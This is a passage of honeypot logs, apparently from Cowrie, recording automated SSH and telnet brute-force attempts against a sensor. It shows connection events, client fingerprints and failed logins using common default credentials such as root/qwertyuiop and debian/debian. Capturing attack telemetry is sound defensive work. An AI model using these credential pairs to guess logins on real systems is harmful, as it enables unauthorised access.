r","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:07.700838Z","src_ip":"176.65.139.103","session":"d6669ba1877f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:08.200833Z","src_ip":"176.65.139.103","session":"d6669ba1877f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:09.298258Z","src_ip":"176.65.139.103","session":"d6669ba1877f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.424097061157227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:09.562085Z","src_ip":"213.136.75.179","session":"fad4fedfec3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.936764240264893,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:13.795064Z","src_ip":"103.233.64.98","session":"aad0b9339a19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58886,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4bf852700e0","protocol":"telnet","message":"New connection: 185.26.126.47:58886 (159.203.135.109:23) [session: d4bf852700e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:14.230630Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44650,"dst_ip":"10.17.0.5","dst_port":22,"session":"633881a13d22","protocol":"ssh","message":"New connection: 176.65.139.103:44650 (10.17.0.5:22) [session: 633881a13d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:14.683491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:14.689774Z","src_ip":"176.65.139.103","session":"633881a13d22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:14.768405Z","src_ip":"176.65.139.103","session":"633881a13d22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:15.103702Z","src_ip":"176.65.139.103","session":"633881a13d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:16.193642Z","src_ip":"176.65.139.103","session":"633881a13d22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44658,"dst_ip":"10.17.0.5","dst_port":22,"session":"a802f48763f3","protocol":"ssh","message":"New connection: 176.65.139.103:44658 (10.17.0.5:22) [session: a802f48763f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:21.205061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:21.208925Z","src_ip":"176.65.139.103","session":"a802f48763f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:21.291036Z","src_ip":"176.65.139.103","session":"a802f48763f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:21.542560Z","src_ip":"176.65.139.103","session":"a802f48763f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.527386903762817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:21.865334Z","src_ip":"213.136.75.179","session":"9e0a738ad43d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:22.701156Z","src_ip":"176.65.139.103","session":"a802f48763f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55102,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f290795a870","protocol":"ssh","message":"New connection: 176.65.139.103:55102 (10.17.0.5:22) [session: 1f290795a870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:27.599561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:27.664685Z","src_ip":"176.65.139.103","session":"1f290795a870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:27.713282Z","src_ip":"176.65.139.103","session":"1f290795a870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:28.050992Z","src_ip":"176.65.139.103","session":"1f290795a870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:29.137631Z","src_ip":"176.65.139.103","session":"1f290795a870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.16531205177307,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:30.299542Z","src_ip":"213.136.75.179","session":"644fdba491c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55872,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cc9630c45cb","protocol":"ssh","message":"New connection: 176.65.139.103:55872 (10.17.0.5:22) [session: 8cc9630c45cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:34.346709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:34.350775Z","src_ip":"176.65.139.103","session":"8cc9630c45cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:34.436984Z","src_ip":"176.65.139.103","session":"8cc9630c45cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:34.704958Z","src_ip":"176.65.139.103","session":"8cc9630c45cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":56543,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ce95f635a0d","protocol":"ssh","message":"New connection: 52.231.220.210:56543 (10.17.0.5:22) [session: 5ce95f635a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:35.551502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:35.556128Z","src_ip":"52.231.220.210","session":"5ce95f635a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:35.742029Z","src_ip":"52.231.220.210","session":"5ce95f635a0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41028,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c08c3870783","protocol":"ssh","message":"New connection: 159.203.92.129:41028 (159.203.135.109:22) [session: 5c08c3870783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:35.956112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:35.960819Z","src_ip":"159.203.92.129","session":"5c08c3870783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:35.965538Z","src_ip":"159.203.92.129","session":"5c08c3870783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansadmin","password":"root","message":"login attempt [ansadmin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:35.977429Z","src_ip":"159.203.92.129","session":"5c08c3870783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:36.009859Z","src_ip":"176.65.139.103","session":"8cc9630c45cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerQWER1234","message":"login attempt [root/qwerQWER1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:36.515833Z","src_ip":"52.231.220.210","session":"5ce95f635a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:36.986319Z","src_ip":"159.203.92.129","session":"5c08c3870783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:37.707231Z","src_ip":"52.231.220.210","session":"5ce95f635a0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55890,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2bd03e29c8b","protocol":"ssh","message":"New connection: 176.65.139.103:55890 (10.17.0.5:22) [session: c2bd03e29c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:40.819538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:40.823869Z","src_ip":"176.65.139.103","session":"c2bd03e29c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:40.931889Z","src_ip":"176.65.139.103","session":"c2bd03e29c8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:41.193953Z","src_ip":"176.65.139.103","session":"c2bd03e29c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:42.336059Z","src_ip":"176.65.139.103","session":"c2bd03e29c8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49568,"dst_ip":"10.17.0.5","dst_port":23,"session":"023c4b4eedbd","protocol":"telnet","message":"New connection: 213.136.75.179:49568 (10.17.0.5:23) [session: 023c4b4eedbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:45.864306Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50972,"dst_ip":"10.17.0.5","dst_port":22,"session":"9290f4090bf4","protocol":"ssh","message":"New connection: 176.65.139.103:50972 (10.17.0.5:22) [session: 9290f4090bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:47.638854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:47.662342Z","src_ip":"176.65.139.103","session":"9290f4090bf4","protocol":"ssh"}
